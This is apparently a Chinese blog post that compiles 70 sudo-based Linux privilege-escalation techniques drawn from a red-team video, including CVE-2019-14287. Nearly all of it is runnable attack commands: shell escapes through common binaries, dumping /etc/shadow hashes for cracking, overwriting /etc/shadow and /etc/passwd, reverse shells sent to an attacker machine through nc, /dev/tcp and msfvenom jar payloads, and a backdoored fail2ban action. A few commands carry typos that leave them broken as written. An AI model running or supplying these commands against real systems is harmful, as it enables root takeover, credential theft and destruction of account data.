Linux提权-70种sudo提权汇总

Linux 提权-sudo

命令有 sudo 的权限,我们该如何进行提权呢?

跟着红队笔记大佬,汇总了一下当我们有sudo -l时,70条命令可以提权的sudo风暴

视频连接: https://www.bilibili.com/video/BV1DV4y1U7bT/?share_source=copy_web&vd_source=385653377c3ce2be6b055cc4a2e9c3cf

1) CVE-2019-14287

要求:sudo 版本 <= 1.8.28

sudo -l

看到

(ALL,!root) NOPASSWD:/bin/bash

解释:可以用任何 非root用户 执行 /bin/bash 命令,也就是我们可以切换到任何非 root 用户

执行:

sudo -u#-1 /bin/bash

因为 sudo 算法比较特殊,他会把-1 看成 0,所以我们就获得了 root 的/bin/bash

2)apt

sudo apt update -o APT::Update::Pre-Invoke::=/bin/bash

启动一个 /bin/bash 会话

3)apache2

sudo apache2 -f /etc/shadow
Syntax error on line 1 of /etc/shadow:
Invalid command 'root:$6$Tb/euwmk$OXA.dwMe0AcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXvRDJXET..it8r.jbrlpfZeMdwD3B0fGxJI0:17298:0:99999:7:::',perhaps misspelled or defined by a module not included in the server configuration

可以看到它会暴露出 /etc/shadow 第一行的信息。

把引号里的 hash 值,拿到去 john 破解,破解出来就可以提权到 root,破解失败就不可以。

4)ash

sudo ash

ash 本身就是一个 shell

5)awk

sudo awk 'BEGIN {system("/bin/bash")}'

传递给 awk,参数执行命令

6)base64

sudo base64 /etc/shadow | base64 -d

可以用 base64 查看 /etc/shadow 文件,之后去破解 hash 值,完成提权

7)bash

sudo bash

8)cp

mkpasswd -m sha-512 123456

$6$OVS9vZLjXNT67Okt$zUAsr7tOfb21O3Cbh1rM08rTtiX2piXRPG1Y1EPqIMyH.DI59SeBugZYB9SK7cOiXV0OEQ9YDDoCDFuy9s7Kk/

TF=(mktemp)

echo 'root:$6$OVS9vZLjXNT67Okt$zUAsr7tOfb21O3Cbh1rM08rTtiX2piXRPG1Y1EPqIMyH.DI59SeBugZYB9SK7cOiXV0OEQ9YDDoCDFuy9s7Kk/:19870:0:99999:7:::' > $TF

sudo /usr/bin/cp $TF /etc/shadow

mkpasswd 生成密码的 hash 值,再把密码按照 /etc/shadow 的格式写入 mktemp 临时生成的文件中,在通过 cp 命令覆盖掉原来的 /etc/shadow 文件

需要注意的是:

这种操作是有损的,因为他是覆盖掉我们原有的 /etc/shadow 文件,所以执行之后我们的靶机或系统中会只存在我们写入的一个 root 用户

9)cpulimit

sudo cpulimit -l 100 -f /bin/bash

10)curl

kali 准备

mkpasswd -m sha-512 123456

$6$OVS9vZLjXNT67Okt$zUAsr7tOfb21O3Cbh1rM08rTtiX2piXRPG1Y1EPqIMyH.DI59SeBugZYB9SK7cOiXV0OEQ9YDDoCDFuy9s7Kk/

echo 'root:$6$OVS9vZLjXNT67Okt$zUAsr7tOfb21O3Cbh1rM08rTtiX2piXRPG1Y1EPqIMyH.DI59SeBugZYB9SK7cOiXV0OEQ9YDDoCDFuy9s7Kk/:19870:0:99999:7:::' > root_shadow

php -S 0:80

靶机执行:

sudo curl http://192.168.84.128/root_shadow -o /etc/shadow

192.168.84.128 是 kali 的 ip 地址,-o 指定覆写文件

需要注意的是:

这种操作是有损的,因为他是覆写我们原有的 /etc/shadow 文件,所以执行之后我们的靶机或系统中会只存在我们写入的一个 root 用户

11)date

sudo date -f /etc/shadow 

-f 指定从文件中读取时间

报错,但会暴露出 root 用户的 hash 值,把 hash 值复制出来,用 john 破解,破解成功可以提权,破解失败就不可以

12)dd(Data Duplicator)

可以用来进行数据备份、克隆磁盘、创建 ISO 镜像文件等操作。

mkpasswd -m sha-512 123456

$6$OVS9vZLjXNT67Okt$zUAsr7tOfb21O3Cbh1rM08rTtiX2piXRPG1Y1EPqIMyH.DI59SeBugZYB9SK7cOiXV0OEQ9YDDoCDFuy9s7Kk/

echo 'root:$6$OVS9vZLjXNT67Okt$zUAsr7tOfb21O3Cbh1rM08rTtiX2piXRPG1Y1EPqIMyH.DI59SeBugZYB9SK7cOiXV0OEQ9YDDoCDFuy9s7Kk/:19870:0:99999:7:::' | sudo dd -of=/etc/shadow

需要注意的是:

这种操作是有损的,因为他是覆写我们原有的 /etc/shadow 文件,所以执行之后我们的靶机或系统中会只存在我们写入的一个 root 用户

13)dstat

它有参数可以指定插件

find / -name dstat -type d 2> /dev/null
/usr/share/dstat

vim dstat_lingx5.py

写入

import os; os.execv("/bin/bash",["bash"])

复制到插件目录

cp dstat_lingx5.py /usr/share/dstat

执行

sudo dstat --lingx5

14)ed

是一个编辑器

sudo /usr/bin/ed
!/bin/bash

进入 ed 编辑模式,用 ! 号告诉系统,启动系统命令

15)env

sudo env /bin/bash

16)exiftool

vi payload

写入

(metadata "\c${system('/bin/bash')};")

执行

bzz payload payload.bzz
djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz
sudo exiftool exploit.djvu

17)expect

sudo expect -c "spawn /bin/bash;interact"

18)fail2ban

Fail2ban 是一款流行的开源入侵防护软件,用于保护服务器免受暴力破解等攻击。它再出发特定的告警后,会执行相应的规则

a) 更改 fail2ban 配置

find / -name "fail2ban*" -type d 2> /dev/null

/etc/fail2ban

查看是否可写

find /etc -wirtable -type d 2> /dev/null

/etc/fail2ban/action.d

我们可以修改 action.d,他是出发告警后,规定执行规则的脚本目录,里边的 iptables-multiports.conf 规定了具体的执行

查看触发规则

vim /etc/fail2ban/jail.conf

执行

mv iptables-multiports.conf iptables-multiports.conf.bak
cp iptables-multiports.conf.bak iptables-multiports.conf

这样 iptables-multiports.conf 这个文件我们就可以编辑了,这个文件的属组就属于我们了

编辑

vi iptables-multiports.conf

# 找到actionban的一行,他是决定我们触发告警后,fail2ban具体要执行命令的
# 改为
actionban = rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc 192.168.84.128 4444 > /tmp/f

192.168.84.128 是 kali 攻击机

重启服务

sudo fail2ban restart

b) kali 触发告警

先建立监听, 端口与编辑的 actionban 的端口一致

sudo nc -lvnp 4444

连续 5 次,空密码即可 (这里是根据 /etc/fail2ban/jail.conf 文件里的规则确定的)

sudo ssh lingx5@192.168.84.140

192.168.84.140 是目标机器

反弹回来的 shell 就是 root 权限

19)find

sudo find / -exec /bin/bash \; -quit

20)flock

sudo flock -u / /bin/bash

21)ftp

sudo ftp
ftp> !/bin/bash

22)gcc

sudo gcc -wrapper /bin/bash,-s .

23)gdb

sudo gdb -nx -ex '!bash' -ex quit

24)git

sudo git branch --help

输入

!/bin/bash

25)gzip/gunzip

gzip -f /etc/shadow -t

拿到 hash 值,用 john 去破解

26)hping3

sudo hping3
hping3> !/bin/bash

27)iftop

sudo iftop
!/bin/bash

28)java

在 kail 中,生成反弹 shell

sudo msfvenom -p java/shell_reverse_tcp LHOST=192.168.84.128 LPORT=4444 -f jar -o shell.jar

192.168.84.128 为 kali 的 ip 地址

建立web服务器

sudo php -S 0:80

# 建立监听
nc -lnvp 4444

在目标机器上下载并执行

wget http://192.168.84.128/shell.jar 

chmod +x shell.jar

sudo java -jar shell.jar

29)jjs

kali中建立监听

sudo -lvnp 4444

在被攻击机输入

echo "java.type('java.lang.Runtime').getRuntime().exec(['/bin/bash','-c','exec 5<>/dev/tcp/192.168.84.128/4444;cat <&5 | while read line; do \$line 2>&5>&5;done']).waitFor()" | sudo jjs

反弹回来执行,想要提高交互性,我们就在反弹一次

# kali中监听
nc -lvnp 5555

# 4444弹回来的shell执行
bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc 192.168.84.128 5555 > /tmp/f

30)journalctl

sudo journalctl
!/bin/bash

31)knife

sudo knife exec -E 'exec "/bin/bash"'

32)less

mktemp ./a
rtcpgt
sudo less rtcpgt

# 输入
!/bin/bash

33)man

sudo man ls
!/bin/bash

34)more

mktemp ./a
rtcpgt

yes root > rtcpgt
sudo more rtcpgt
!/bin/bash

35)mount

sudo mount -o bind /bin/bash /usr/bin/mount
sudo mount

36)mysql

sudo mysql -e '\! /bin/bash'

37)nano

sudo nano
^R
^X
reset;bash 1>&0 2>&0

多按几次回车

38)neofetch

TP=$(mktemp)
echo 'exec /bin/bash' > $TP
sudo neofetch --config $TP

39)nice

sudo nice /bin/bash

40)nmap

TP=$(mktemp)
ehco 'os.execute("/bin/bash")' > $TP
sudo nmap --script=$TP

41)node

sudo node -e "require('child_process').spawn('/bin/bash',{stdio:[0,1,2]})"

42)nohub

sudo nohub /bin/bash -c "bash <$(tty) >$(tty) 2>$(tty)"

43)openvpn

sudo openvpn --config /etc/shadow

拿到hash值,到john破解

44)passwd

sudo passwd root
123456

45)perl

sudo perl -e 'exec "/bin/bash";'

46) php

sudo php -r "system('/bin/bash');"

47)pico

sudo pico
^R
^X
reset;bash 1>&0 2>&0

多按几次回车

48)pkexec

sudo pkexec /bin/bash

49)python3

sudo python3 -c "import os;os.system('/bin/bash')"

50)rvim

sudo rvim -c ':python import os;os.execl("/bin/bash","bash","-c","reset;exec bash")'

51)scp

TP=$(mktemp)
echo 'bash 0<&2 1<&2' > $TP
chmod $TP
sudo scp -S $TP x y:

52)screen

sudo screen

按回车

53)script

sudo script -q /dev/null

54)sed

sudo sed -n '1e exec /bin/bash 1>&0' /etc/hosts

55)service

sudo service ../../bin/bash 

56)socat

sudo socat stdin exec:/bin/bash

57)ssh

sudo ssh -o ProxyCommand=';bash 0<&2 1>&2' x

58)ssh-keygen

vim temp.c

写入

#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
static void inject()__attribute__((constructor));

void inject() {
    setuid(0);
    system("/bin/bash -p");
}

编译

gcc -shared -fPIC -o temp.so temp.c

提权

sudo ssh-keygen -D ./temp.so

59)strace

sudo strace -o /dev/null /bin/bash

60)systemctl

sudo systemctl
!/bin/bash

61)tcpdump

vim temp.sh

写入

mknod temp_pipe p && /bin/nc 192.168.84.128 4444 0<temp_pipe | /bin/bash 1>temp_pipe

kali建立监听

sudo nc -lvnp 4444

执行

chmod +x temp.sh
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z ./temp.sh -Z root

62)tee

echo 'lingx5::0:0:root:root:/usr/bin/bash' | sudo tee -a /etc/passwd
su lingx5

63)timedatectl

sudo timedatectl list-timezones
!/bin/bash

64)tmux

sudo tmux

65)vi

sudo vi
:!/bin/bash

sudo vi -c ':/bin/bash'

66)wall

sudo wall /etc/shadow

看到hash,用john破解

67)watch

sudo watch -x bash -c 'reset; exec bash 1>&0 2>&0'

68)wget

TP=$(mktemp)
chmod +x $TP
echo '/bin/bash 1>&0 ' > $TP
sudo wget --use-askpass=$TP 0

69)zip

sudo zip foo /etc/hostname -T -TT 'bash #'

70)xxd

sudo xxd /etc/shadow | xxd -r

拿到hash值,去john破解

posted @ 2024-08-29 20:37  Ling-X5  阅读(45)  评论(0编辑  收藏  举报